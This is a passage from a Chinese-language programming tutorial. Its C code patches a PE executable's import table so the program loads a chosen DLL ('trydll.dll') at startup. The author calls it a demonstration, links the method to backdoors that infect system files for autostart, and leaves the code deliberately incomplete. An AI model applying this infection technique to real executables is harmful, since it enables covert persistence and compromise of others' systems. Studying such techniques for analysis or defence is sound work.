首先須要準備新數組項對應成員變量和相關變量,如「Name」,「IMAGE_THUNK_DATA」,「IMAGE_IMPORT_BY_NAME」等等,程序就是利用了原來的IMAGE_IMPORT_DESCRIPTOR數組寫入這些數據。
memset(pOriginalImportDescriptor,0,dwBufferSize);
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptorAdded = PIMAGE_IMPORT_DESCRIPTOR(pPadStart+dwBufferSize);
strcpy((char *)pOriginalImportDescriptor,"trydll.dll");
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME ) ((char *)(pOriginalImportDescriptor+1))+5;
DWORD m_IMAGE_THUNK_DATA = OffsetToVirtuanAddr((BYTE*)pImportByName-pFileImage,pFileImage);
memcpy((char *)(pOriginalImportDescriptor+1),&m_IMAGE_THUNK_DATA,4);
pImportByName->Hint=314;
strcpy((char*)pImportByName->Name,"DllRegisterServer");
下面給新的IMAGE_IMPORT_DESCRIPTOR數組項負值,使用函數OffsetToVirtuanAddr()獲得上面準備的各個變量的偏移地址對應的虛擬地址。
pImportDescriptorAdded->ForwarderChain = 0;
pImportDescriptorAdded->TimeDateStamp = 0;
pImportDescriptorAdded->Name = OffsetToVirtuanAddr( (BYTE *) pOriginalImportDescriptor-pFileImage,pFileImage);
pImportDescriptorAdded->FirstThunk = OffsetToVirtuanAddr( (BYTE *) (pOriginalImportDescriptor+1)-pFileImage,pFileImage);
pImportDescriptorAdded->OriginalFirstThunk = OffsetToVirtuanAddr( (BYTE *) (pOriginalImportDescriptor+1)-pFileImage,pFileImage);
最後調整選項頭部的內容,大功告成,如圖六所示。
pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. VirtualAddress = OffsetToVirtuanAddr(pPadStart-pFileImage,pFileImage);
pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size+= sizeof(IMAGE_IMPORT_DESCRIPTOR);
printf("Succsee");
}
圖六 DLL成功加載後執行DLLMain彈出的提示對話框
這段代碼主要做爲原理演示只用,因此許多該判斷的邊界條件都沒有判斷,而是直接硬編碼實現,因此讀者若是須要實現相似的功能還要針對這段代碼進行改進。這樣作也是有目地的,畢竟這段代碼危害性較強,時下流行的後門黑客之門就是採用這種方法感染系統文件實現自啓動,我可不但願一會兒蹦出一批感染PE文件的病毒。
最後聲明一句,文中代碼請用於合法用途,不然一切後果,做者概不負責!性能